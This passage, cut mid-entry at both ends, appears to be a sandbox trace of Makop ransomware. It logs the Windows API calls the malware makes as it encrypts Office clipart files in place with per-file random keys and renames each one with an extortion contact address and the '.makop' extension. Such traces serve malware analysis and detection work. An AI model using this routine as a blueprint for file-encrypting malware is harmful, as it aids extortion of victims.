office\\clipart\\pub60cor\\ag00052_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.660] CloseHandle (hObject=0xf0) returned 1 [0105.661] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0105.661] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0105.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.662] GetProcessHeap () returned 0x48a0000 [0105.662] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.662] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.662] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0105.667] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.667] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.667] GetProcessHeap () returned 0x48a0000 [0105.667] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.667] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.667] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.667] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.667] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.667] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.668] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.668] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.668] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.668] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.668] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2e73, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2e73, lpOverlapped=0x0) returned 1 [0105.670] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e80) returned 1 [0105.670] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.670] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2e80, lpOverlapped=0x0) returned 1 [0105.671] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.671] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.671] SetEndOfFile (hFile=0xf0) returned 1 [0105.679] GetProcessHeap () returned 0x48a0000 [0105.679] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.679] GetProcessHeap () returned 0x48a0000 [0105.679] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.679] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.680] CloseHandle (hObject=0xf0) returned 1 [0105.681] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0105.681] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0105.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.681] GetProcessHeap () returned 0x48a0000 [0105.681] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.682] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.682] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0105.686] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.686] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.686] GetProcessHeap () returned 0x48a0000 [0105.686] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.686] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.686] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.686] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.687] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.687] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.687] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.688] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.688] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.688] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.688] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x205, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x205, lpOverlapped=0x0) returned 1 [0105.689] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x210, dwBufLen=0x210 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x210) returned 1 [0105.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.689] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x210, lpOverlapped=0x0) returned 1 [0105.689] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.689] SetEndOfFile (hFile=0xf0) returned 1 [0105.696] GetProcessHeap () returned 0x48a0000 [0105.696] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.696] GetProcessHeap () returned 0x48a0000 [0105.696] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.696] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.698] CloseHandle (hObject=0xf0) returned 1 [0105.698] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0105.698] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0105.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.699] GetProcessHeap () returned 0x48a0000 [0105.699] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.699] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.699] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.699] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0105.704] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.704] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.704] GetProcessHeap () returned 0x48a0000 [0105.704] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.704] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.704] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.704] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.704] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.705] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.705] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.705] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.705] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.705] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.705] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.706] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f6, lpOverlapped=0x0) returned 1 [0105.706] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x200, dwBufLen=0x200 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x200) returned 1 [0105.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.706] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x200, lpOverlapped=0x0) returned 1 [0105.706] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.707] SetEndOfFile (hFile=0xf0) returned 1 [0105.714] GetProcessHeap () returned 0x48a0000 [0105.714] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.714] GetProcessHeap () returned 0x48a0000 [0105.714] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.714] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.716] CloseHandle (hObject=0xf0) returned 1 [0105.716] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0105.716] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0105.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.718] GetProcessHeap () returned 0x48a0000 [0105.718] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.718] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0105.723] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.723] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.723] GetProcessHeap () returned 0x48a0000 [0105.723] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.723] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.723] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.723] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.724] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.724] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.724] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.724] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.725] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.725] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x319e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x319e, lpOverlapped=0x0) returned 1 [0105.726] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31a0, dwBufLen=0x31a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31a0) returned 1 [0105.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.727] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x31a0, lpOverlapped=0x0) returned 1 [0105.727] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.727] SetEndOfFile (hFile=0xf0) returned 1 [0105.735] GetProcessHeap () returned 0x48a0000 [0105.735] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.735] 